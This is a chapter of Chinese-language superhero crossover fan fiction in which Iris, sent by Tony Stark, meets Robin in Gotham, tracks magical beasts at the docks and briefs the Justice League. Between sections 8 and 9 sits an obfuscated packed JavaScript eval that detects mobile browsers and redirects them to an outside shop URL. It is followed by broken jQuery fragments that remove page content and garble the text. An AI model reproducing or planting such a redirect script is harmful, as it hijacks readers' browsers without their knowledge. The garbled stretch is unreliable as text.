1.


    艾瑞斯被空运去往哥谭。


    直升机穿过云层的时候，她往下看了一眼。灰扑扑的城市在下方铺开，像一块旧地毯。高楼，矮楼，烟囱，河，桥。她认得那条河，认得那些桥，认得那个方向——韦恩大宅的方向。


    直升机上只有她一人。


    她移开视线。


    托尼的原话是：“我托尼·斯塔克的人，怎么能跟货物挤一起？要舒服的，要漂亮的，要——”


    “够了。”艾瑞斯当时打断他。


    托尼看了她一眼，笑了。


    “我不唠叨了，小姐。”


    所以她现在坐在一张真皮座椅上，面前摆着一杯温度刚好的咖啡，窗外的哥谭越来越近。


    纽约在她脑子里叨叨：【你看看你看看，这就是我的人！出个差都这待遇！那个灰扑扑的地方能比吗？】


    哥谭沉默。


    【喂，你怎么不说话？】


    【……到了再说。】哥谭的声音很低，像是压抑着什么。


    艾瑞斯没理它们。


    她低头看了看自己。


    短款风衣，黑色，收腰，领口别着一枚小小的鸢尾花胸针。里面是白色内搭，下面配着黑色长裤和短靴。头发被剪成了齐刘海，长度到肩膀，整整齐齐的。


    托尼让人打理的。


    她反抗过。


    没用。


    “你代表的是我斯塔克工业的形象！”托尼当时义正言辞，“不能让人说我们派出去的人灰头土脸的！”


    艾瑞斯想说她平时也不灰头土脸。


    但她没说。


    因为托尼已经叫来了一个造型团队。


    三天后，她就变成了现在这样。


    纽约很满意：【好看！像娃娃一样！就应该这样！这才是天使该有的样子！】


    艾瑞斯没理它。


    她只是低头看了一眼自己的手。


    指甲修剪整齐。食指和大拇指内侧有厚茧——长期骑车和干活留下的。皮肤上有几处烫伤，不明显，但仔细看能看出来，是咖啡店打工时溅的热牛奶。


    2.


    直升机降落在哥谭郊区的一个停机坪。


    艾瑞斯拎起简单的行李，走下舷梯。


    风很大。哥谭的风和纽约不一样，带着一股潮湿的凉意，像是从河面上直接刮过来的。


    停机坪边上站着一个人。


    男孩。


    大概十四岁，黑色头发，绿色眼睛，穿着一件黑色的夹克。他站得笔直，双手插在口袋里，表情很不耐烦。


    艾瑞斯走过去。


    男孩抬起头。


    他的视线从她脸上移到她头顶，又从头顶移到她脸上。


    那个表情——


    艾瑞斯见过这种表情。


    她在镜子里见过。


    冒犯时的表情。


    3.


    “我是罗宾。”


    语气硬邦邦的，像是在完成某个不情愿的任务。


    他打量着她。从头到脚，又从脚到头。


    178。


    艾瑞斯看到他的目光在她头顶停了一秒。


    ？


    “艾瑞斯，”她说，“斯塔克先生特派。”


    她伸出手。


    那只手悬在半空中，等着被握住。


    达米安低头看了一眼。


    虎口有茧。食指内侧有茧。手背上有几处浅浅的烫伤疤痕。


    他皱了一下眉。


    但他没有伸手。


    艾瑞斯等了三秒，把手收回来。


    也不生气。


    “行程安排呢？”她问。


    达米安冷哼了一声，转身就走。


    “跟上。”


    艾瑞斯拎起行李，跟上去。


    4.


    住处在哥谭东区，一栋不起眼的公寓楼里。


    达米安把她带到门口，递给她一把钥匙。


    “三楼，302。冰箱里有吃的，武器在床底下的暗格里，有事按这个。”


    他指了指门边的按钮。


    “会有人来？”


    “会。”


    艾瑞斯点点头。


    达米安站在那儿，没有要走的意思。


    艾瑞斯看着他。


    “还有事？”


    达米安的眉头皱得更紧了。


    “你……”他顿了一下，“你多高？”


    艾瑞斯眨眨眼。


    “178。”


    达米安的表情肉眼可见地扭曲了一下。


    “……这不对。”


    “什么不对？”


    “你才17岁。”


    “嗯。”


    “178？”


    “嗯。”


    达米安沉默了。


    艾瑞斯看着他。


    她想起很久以前——另一个世界线里——这个男孩也曾经在意过身高。那时候他十岁，比她大一点，但没她高。现在他十四岁，还是没她高。


    有些东西真的不会变。


    “你吃什么长大的？”达米安问。


    艾瑞斯想了想。


    “牛奶。”


    达米安的表情更扭曲了。


    他深吸一口气，转身就走。


    “明天早上七点，楼下等。正义联盟报道。”


    他的背影消失在楼梯口。


    艾瑞斯站在原地，看着那个方向。


    纽约在她脑子里笑疯了：【哈哈哈哈他是不是被身高刺激了？那个表情哈哈哈哈——】


    哥谭的声音很低：【……他小时候也这样。】


    艾瑞斯没说话。


    她推开门，走进临时住处。


    5.


    一室一厅，厨房卫生间都有。装修很简单，但该有的都有。冰箱里确实有吃的——牛奶、面包、鸡蛋、几盒速食。床底下的暗格里也确实有武器——两把手枪，一把匕首，几盒子弹。


    艾瑞斯关上暗格。


    她不需要这些，但还是老实装上了。


    6.


    晚上九点，艾瑞斯出门。


    白天踩过点了。魔兽的主要活动区域在东区靠近码头的地方，离安全屋不远。她穿上黑色的冲锋衣，把头发塞进帽子里，戴上口罩。


    出门前，她摸了摸夹克内袋。


    那只旧鳄鱼挂件还在。


    她把它拿出来，看了一秒，又塞回去。


    7.


    码头区很安静。


    太安静了。


    艾瑞斯走在集装箱之间，脚步很轻。月光被云遮住，四周暗得只能看清轮廓。


    纽约在脑子里小声说：【小心点，我感觉不对劲。】


    哥谭没说话。


    但艾瑞斯能感觉到它的存在——那种沉沉的、压着的关注，像一层看不见的膜，覆盖着整座城市。


    她绕过一堆集装箱，停下来。


    地上有痕迹。


    像是烧灼过的痕迹，黑色的，从集装箱底部延伸到远处的阴影里。边缘有焦糊的味道，很淡，但确实有。


    艾瑞斯蹲下来，用手指碰了碰。


    还热着。


    她站起来，看向那片阴影。


    沉默。


    三秒后，阴影里传来一阵窸窣声。


    一个东西爬出来。


    不大。大概有半人高，四肢着地，形状像某种扭曲的猫科动物。它的皮肤是灰黑色的，眼睛在黑暗中泛着幽幽的绿光。


    艾瑞斯看着它。


    它看着艾瑞斯。


    对峙了三秒。


    魔兽忽然转身，跑了。


    艾瑞斯没追。


    她站在原地，看着那个背影消失在集装箱深处。


    【不追？】纽约问。


    【不追。】


    【为什么？】


    【看着有点眼熟。】艾瑞斯说，【而且追了也没用。】


    她蹲下来，拿出手机，对着地上的痕迹拍了几张照片。


    然后又拍了周围的环境。


    收工。


    6.


    第二天早上七点，艾瑞斯准时下楼。


    达米安已经等在楼下了。


    他换了一身衣服，但还是黑色。看到艾瑞斯的时候，他下意识地抬头——然后又移开视线。


    艾瑞斯假装没注意到。


    “正义联盟大楼，”他说，“知道路吗？”


    “不知道。”


    “那跟上。”


    他转身就走。


    艾瑞斯跟上去。


    7.


    正义联盟的大楼在哥谭市中心，靠近韦恩集团的那一侧。


    艾瑞斯站在门口，看着那栋建筑。


    达米安回头看她。


    “愣着干嘛？”


    艾瑞斯收回视线。


    “没什么。”


    她走进去。


    7.


    会议室在十二楼。


    艾瑞斯被带进去的时候，里面已经坐了几个人。


    蝙蝠侠。超人。神奇女侠。


    还有几个她不认识的——可能是联盟的其他成员。


    达米安把她带到门口，自己站在一边。


    蝙蝠侠抬起头。


    那双眼睛从面具后面看过来，平静，锐利，不带任何情绪。


    艾瑞斯迎上那道目光。


    然后她移开视线。


    “艾瑞斯，”她开口，声音很平静，“斯塔克工业特派，魔兽事件联络员。”


    蝙蝠侠点了点头。


    “坐。”


    艾瑞斯找了个空位坐下。


    8.


    汇报进行了大概半个小时。


    艾瑞斯把昨晚拍的照片拿出来，投在屏幕上。她描述了那个魔兽的样子，它的行动轨迹，还有地上的烧灼痕迹。


    “体型不大，半人高，四肢着地，类似猫科动物。皮肤灰黑色，眼睛泛绿光。有热源反应——地上痕迹的温度比周围高。现在暂时不具备攻击力，以魔力形态降临。”


    艾瑞斯在纽约被好一顿恶补当地魔法体系。


    蝙蝠侠盯着屏幕。


    “你靠近了？”


    “靠近了。”


    “多近？”


    “三米。”


    蝙蝠侠没说话。


    超人在旁边开口了：“那东西没攻击你？”


    艾瑞斯看了他一眼。


    蓝眼睛，红披风，那张脸比电视上更……慈祥？


    “没有。”她说，“它看了我三秒，然后跑了。”


    超人点点头，若有所思。


    神奇女侠开口：“你觉得它是怕你，还是只是不想冲突？”


    艾瑞斯想了想。


    “不知道。”


    房间里沉默了几秒。


    蝙蝠侠又问了几个问题。艾瑞斯一一回答。


    汇报结束。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244862|197845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    9.


    走出会议室的时候，达米安还站在门口。


    他看了她一眼。


    “就这样？”


    “嗯。”


    “没别的发现？”


    “有也不会在这里说。”


    达米安愣了一下。


    他看着艾瑞斯。


    艾瑞斯也看着他。


    那双蓝眼睛很平静，像是在说“你懂的”。


    达米安忽然笑了一下。


    很轻，很快就收了回去。


    “你比我想的有意思。”他说。


    艾瑞斯点点头。


    “你也是。”


    10.


    接下来的一周，艾瑞斯过上了规律的生活。


    白天，她以转校生的身份出现在哥谭的大学——托尼安排的，为了掩护。她坐在教室里听课，去食堂吃饭，和同学保持礼貌的距离。


    晚上，她换上黑色的衣服，去码头区转悠。


    魔兽出现得越来越频繁。


    不只是码头区。东区、南区、甚至靠近市中心的地方都有目击报告。艾瑞斯每天晚上出去，拍照片，记录痕迹，追踪那些东西的行动路线。


    第三天晚上，她遇到了一个大的。


    大概有两米高，形状像某种变异的爬行动物。它正在啃食一只流浪狗，听到动静后抬起头，冲她发出嘶嘶的声音。


    艾瑞斯没动。


    她站在阴影里，看着它。


    那东西看了她三秒。


    然后转身跑了。


    艾瑞斯站在原地，看着那个巨大的背影消失在夜色中。


    【它怕你。】纽约说。


    【不是怕。】


    【那是什么？】


    艾瑞斯没回答。


    她蹲下来，对着地上的残骸拍了几张照片。


    11.


    第五天晚上，她遇到了达米安。


    他在码头区巡逻，看到她的时候愣了一下。


    “你怎么在这儿？”


    “工作。”


    达米安走过来，低头看了看她面前的地面。


    又是烧灼痕迹。


    “你每天都来？”


    “嗯。”


    “有什么发现？”


    艾瑞斯沉默了一秒。


    “它们越来越多。”她说，“而且越来越大胆。”


    达米安皱起眉。


    “你一个人不安全。”


    艾瑞斯看着他。


    “那你陪我？”


    达米安愣了一下。


    然后他冷哼一声。


    “谁要陪你。”


    但他没走。


    他们一起在码头区转了一圈，又发现了两处痕迹。


    分开的时候，达米安看了她一眼。


    “明天这个时候，我还会来。”他说。


    然后他走了。


    艾瑞斯站在原地，看着他的背影。


    纽约在她脑子里小声说：【他是不是……在担心你？】


    艾瑞斯没回答。


    但她嘴角弯了一下。


    12.


    第七天，艾瑞斯再次去正义联盟汇报。


    这次人更多了。


    蝙蝠侠、超人、神奇女侠都在，还多了闪电侠和绿灯侠。


    她把照片投在屏幕上。


    “七天，二十三处痕迹。分布范围从码头区扩展到东区、南区，甚至靠近市中心。大小从半米到两米不等。行为模式一致——夜间活动，回避人类，没有主动攻击记录。”


    蝙蝠侠盯着地图。


    “它们为什么越来越多？”


    “不知道。”


    “它们从哪里来？”


    “不知道。”


    “它们想要什么？”


    艾瑞斯沉默了一下。


    “这个，”她说，“我也不知道。”


    蝙蝠侠看着她。


    那双眼睛很锐利。


    艾瑞斯迎上那道目光。


    “但我知道一件事，”她说，“它们不怕人类。但它们在怕什么东西，而且那东西还想不见了，最近有实体化征兆。”


    “什么东西？”


    艾瑞斯想了想。


    “朗基努斯之枪。”


    ……


    13.


    汇报结束后，艾瑞斯走出大楼。


    天已经黑了。


    达米安站在门口，像是在等人。


    “今晚还去？”


    “去。”


    “一起。”


    艾瑞斯看着他。


    达米安别过脸。


    “不是我担心你，”他说，“是联盟要求合作调查。”


    “哦。”


    “就是合作。”


    “嗯。”


    达米安皱起眉。


    “你信不信？”


    艾瑞斯想了想。


    “信。”


    达米安松了口气。


    “走吧。”


    他们一起走进夜色。


    纽约在艾瑞斯脑子里轻轻笑了一声。


    【他挺可爱的。】它说。


    哥谭沉默着。


    但艾瑞斯能感觉到，它在看着他们。


    14.


    老实说艾瑞斯误入这个世界也是因为这把枪。


    艾瑞斯只感觉这把枪还真是携带着厄运，不过艾瑞斯倒是有了些方向。


    康斯坦丁。